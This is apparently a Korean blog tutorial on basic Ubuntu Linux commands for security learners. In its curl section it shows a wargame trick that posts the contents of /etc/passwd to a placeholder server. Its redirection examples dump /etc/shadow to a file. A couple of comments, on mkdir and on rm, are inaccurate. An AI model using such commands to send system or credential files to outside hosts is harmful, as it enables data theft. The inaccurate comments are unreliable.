본문 바로가기
정보보안/Linux

[Ubuntu Linux] 리눅스 기초 명령어(apt, id, pwd, ls, cd, mkdir, touch, mv, rm, cat 등)

by 용오동 2024. 11. 9.
반응형

[apt]

♣ dpkg 명령어의 패키지(프로그램) 의존성 문제를 해결해주는 도구

  • 특정 패키지(프로그램)를 설치하고자 할 때, 의존성이 있는 다른 패키지를 자동으로 먼저 설치해주는 기능을 갖춘 명령어이다.
  • apt는 우분투가 제공하는 deb 파일 저장소(Repository)에서 설치할 deb 파일과 의존성이 있는 다른 deb 파일까지 인터넷을 통해 모두 자동으로 다운로드한 후 설치한다.
  • 단, 해당 우분투 서버가 인터넷에 정상적으로 연결되어 있어야 사용 가능하다.
# 기본 설치 방법
apt -y install 패키지이름

# 패키지 목록 업데이트
apt update

# 설치된 패키지 버전 업그레이드
apt upgrade

# 기존 설치된 패키지 제거
apt remove 패키지이름

# 기존 설치된 패키지를 설정 파일과 함께 완전히 제거
apt purge 패키지이름

# 사용하지 않는 패키지를 모두 제거
apt autoremove

# 설치할 때 내려받기한 파일 및 과거의 파일을 제거
apt clean  
apt autoclean

# 패키지의 정보를 화면에 출력
apt-cache show 패키지이름

# 패키지에 대한 의존성 정보를 출력
apt-cache depends 패키지이름

 


[apt update]

♣ 설치 가능한 소프트웨어 패키지 목록을 업데이트한다.

  • 각 소프트웨어 패키지 별로 어떤 버전을 설치할 수 있는지도 업데이트한다.
# root 사용자 계정
apt update

# 일반 사용자 계정
sudo apt update


[apt upgrade]

♣ 리눅스에 설치된 소프트웨어 패키지의 버전을 업그레이드한다.

  • 오래된 소프트웨어 패키지에 존재하는 취약점은 보안 문제를 일으킬 수 있기 때문에 주기적으로 패키지를 업그레이드하여 보안 문제를 예방하는 작업이 중요하다.

 

※ 다음과 같이 Waiting for cache lock: Could not get lock /var/lib/dpkg/lock-frontend. 오류가 발생한 경우

> 잠긴 캐시 파일을 삭제한 뒤 다시 진행하면 된다.

rm -rf /var/cache/apt/archives/lock
rm -rf /var/lib/dpkg/lock*

dpkg --configure -a
apt upgrade

#  의존성 Error가 뜨는 경우
# gjs : 의존: libgjs0g (= 1.72-4-0ubuntu0.22.04.3~really.is.1.72.2.-ubuntu2)
apt --fix-broken install
apt upgrade


[id]

♣ 현재 유저의 유저ID와 그룹ID를 출력한다.

  • 리눅스는 권한을 기반으로 파일을 읽기, 쓰기, 실행한다. 때문에 주로 사용자가 권한을 가지고 있는지 확인하기 위해 사용하는 명령이다.
# 현재 사용자의 UID, GID 출력
id


[pwd]

♣ Print Working Directory의 약자로 현재 작업중인 디렉터리의 전체 경로를 화면에 출력한다.

# 작업중인 디렉터리의 전체 경로 출력
pwd


[ls]

♣  List의 약자로 해당 디렉터리에 있는 파일의 목록을 나열한다.

  • Windows의 dir과 명령과 같은 역할을 한다.
# 디렉터리의 파일 및 하위 디렉터리 출력
ls

# 옵션 -l : 자세한 정보를 함께 출력
ls -l

# 옵션 -a : 숨김 파일을 포함한 현재 디렉터리의 모든 파일/디렉터리를 출력
ls -a

# 특정 경로의 내용을 출력
ls 경로
예) ls /etc/


[cd]

♣ Change Directory의 약자로 작업중인 디렉터리를 변경하는 명령이다.

# 현재 사용자의 홈 디렉터리로 이동(root인 경우 : /root)
cd

# 일반 사용자(odong)홈 디렉터리로 이동
cd ~odong

# 상위 디렉터리로 이동
cd ..

# 절대 경로로 이동
# 절대 경로 : 루트 디렉터리 '/'를 시작으로 모든 경로를 입력해야 함
cd /etc/systemd

# 상대 경로로 이동
# 상대 경로 : 현재 디렉터리를 기준으로 상위/하위 디렉터리로 뻗어나가는 경로
cd ../etc/systemd

# ~ : 현재 유저의 홈 디렉터리
cd ~

# - : 이전에 위치했던 디렉터리
cd -

# .. : 현재 디렉터리의 상위 디렉터리
cd ../etc/systemd

# . : 현재 디렉터리
cd ./snap/firefox/common/


[mkdir]

♣ Make Directory의 약자로 새로운 디렉터리를 생성하는 명령이다.

  • 생성된 디렉터리는 명령을 실행한 사용자의 소유가 된다.
# 현재 디렉터리 아래에 '/abc'라는 디렉터리 생성
mkdir new_dir

# 옵션 -p
# '/abc/dir_1' 디렉터리를 생성하는데, 만일 '/dir_1'의 부모 디렉터리인 '/abc' 디렉터리가 없다면 자동 생성됨
mkdir -p /abc/dir_1


[touch]

♣ 크기가 0인 새 파일을 생성하거나, 이미 존재하는 파일인경우 파일의 최종 수정 시간을 변경한다.

# 파일 생성
touch new_file

# 존재하는 파일의 경우, 최종 수정시간 변경
touch new_file


[mv]

♣ Move의 약자로, 파일이나 디렉터리의 이름을 변경하거나 다른 디렉터리로 위치를 옮길 때 사용하는 명령이다.

# 파일의 이름 변경
mv new_file old_file

# 파일의 위치 변경
mv old_file /home/odong


[rm]

♣ Remove의 약자로, 파일이나 디렉터리를 삭제한다.

  • 삭제시 현재 사용가자 해당 파일이나 디렉터리를 삭제할 권한이 있어야 한다.
  • 단, root 사용자는 모든 권한을 가지고 있기 때문에, rm 명령에 대한 제약이 없다.
# 특정 파일 삭제(내부적으로 rm -f로 연결됨)
rm new_file

# 옵션 -i : 특정 파일 삭제시 확인메시지가 나온다.
rm -i new_file

# 옵션 -f : 파일 삭제시 확인하지 않고 바로 삭제(Force)
rm -f new_file

# 옵션 -r : 특정 디렉터리와 하위 디렉터리 및 폴더를 강제로 전부 삭제(Recursive)
rm -rf new_dir


[cat]

♣ 파일의 내용을 화면에 출력해주는 명령이다.

  • 여러 개의 파일을 나열하면 파일을 연결해서 보여준다.
# 파일의 내용물 확인
cat /etc/passwd


[file]

♣ 파일의 유형을 출력하는 명령이다.

# 파일의 종류 및 유형 출력
file /etc/systemd/system.conf
file /bin/gzip

# /etc/systemd/system.conf 파일은 텍스트 파일이기 때문에 ASCII로 표시된다.

# gzip은 실행파일이기 때문에 'ELF 64-bit LSB shared object' 파일로 표시된다.


[echo]

♣ 셸에 유저가 입력한 텍스트를 그대로 출력한다.

# 입력한 텍스트를 그대로 출력해줌
echo "Hello, Odong! :)"


[cp]

♣ Copy의 약자로 파일이나 디렉터리를 복사하는 명령이다.

  • 새로 복사한 파일은 복사한 사용자의 소유가 된다.
  • 명령을 실행하는 사용자는 해당 파일의 읽기 권한이 부여되어 있어야 한다.
# 파일 복사
cp new_file new_file_copy

# 옵션 -r : 디렉터리 복사
cp -r new_dir new_dir_copy


[grep]

♣ 전체에서 특정 문자열을 찾을 때 사용하는 명령이다.

# /etc/passwd 파일에서 root 문자열이 포함된 행을 출력
grep root /etc/passwd

# 파이프 라인을 사용하여 두 명령을 연결하는 방법도 있다.
cat /etc/passwd | grep odong


[man]

♣ Manual의 약자로, 특정 명령의 매뉴얼을 출력한다.

  • 매뉴얼은 명령어 사용법, 옵션, 예제 등의 정보를 담고 있어 명령어 사용에 익숙하지 않은 경우 자주 사용하면 도움이 된다.
  • 방향키나 [Enter] 버튼으로 한 줄씩 읽을 수 있다.
  • [Space Bar] 버튼으로 한 페이지씩 읽을 수 있다.
  • [q] 버튼으로 종료한다.
# 명령어의 설명 및 사용법 확인
man touch


[curl]

♣ Client URL의 약자로, 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어이다.

  • HTTP, HTTPS, FTP 등 다양한 프로토콜을 지원한다.
  • 옵션 -i : 결과 값에 HTTP 응답 헤더를 포함한다.
  • 옵션 -X "method" : HTTP 요청 메소드를 지정한다.
  • 옵션 -d "key=value" : HTTP POST 메소드로 데이터를 전송한다.
# curl 기본 사용법
 curl https://www.google.com
 
 # 옵션 -o file : 전송 받은 데이터를 파일에 저장한다.
 curl -o google_file https://www.google.com

# curl을 이용한 명령어 실행 결과 전송

Wargame 문제를 풀 때, 명령어 실행 결과를 볼 수 없는 경우, 결과를 'curl' 명령어에 포함하여 자신의 웹 서버로 전송하면 확인이 가능하다.

curl "https://서버도메인 또는 IP" -d "`cat /etc/passwd`"

[리다이렉션(>, >>, <)]

♣ 리다이렉션(Redirection)은 모니터에 나타나는 표준 출력 혹은 키보드로 입력하는 표준 입력을 다른 곳으로 전환하는 작업이다.

  • 보통 명령의 결과를 파일로 저장하거나, 다른 명령의 입력으로 전달하는 형태로 전환한다.
  • 명령어 > 파일 : 명령어 표준 출력을 파일로 변경한다. 파일이 없으면 새로 만들고, 존재하는 파일인 경우 덮어쓴다.
  • 명령어 >> 파일 : 명령어 표준 출력을 파일로 변경한다. 파일이 없으면 새로 만들고, 존재하는 파일인 경우 이어서 쓴다.
  • 명령어 < 파일 : 명령어 표준 입력을 파일로 변경한다. 파일로부터 표준 입력을 받아 명령어를 수행하는 명령이다.
# 명령어 > 파일 : 새로운 파일 생성 후 입력 또는 덮어쓰기
cat /etc/shadow > text.txt

# 명령어 >> 파일 : 새로운 파일 생성 후 입력 또는 이어쓰기
echo "odong2:$~~~:20034:0:99999:7:::" >> text.txt

# 명령어 < 파일 : 파일로부터 표준 입력을 받아 명령어를 수행하기
touch test1 test2 test3
cat test[1-3] > test_file.txt
grep test < test_file.txt


[파이프(|)]

♣ 파이프(pipe)는 리가디렉션의 한 형태로, 명령어 결과 표준 출력을 다른 명령어의 표준 입력으로 보낼 때 사용한다.

# 파이프(|)로 명령의 결과를 표준 입력으로 사용
ls -l | grep text
tail /etc/passwd | grep odong


반응형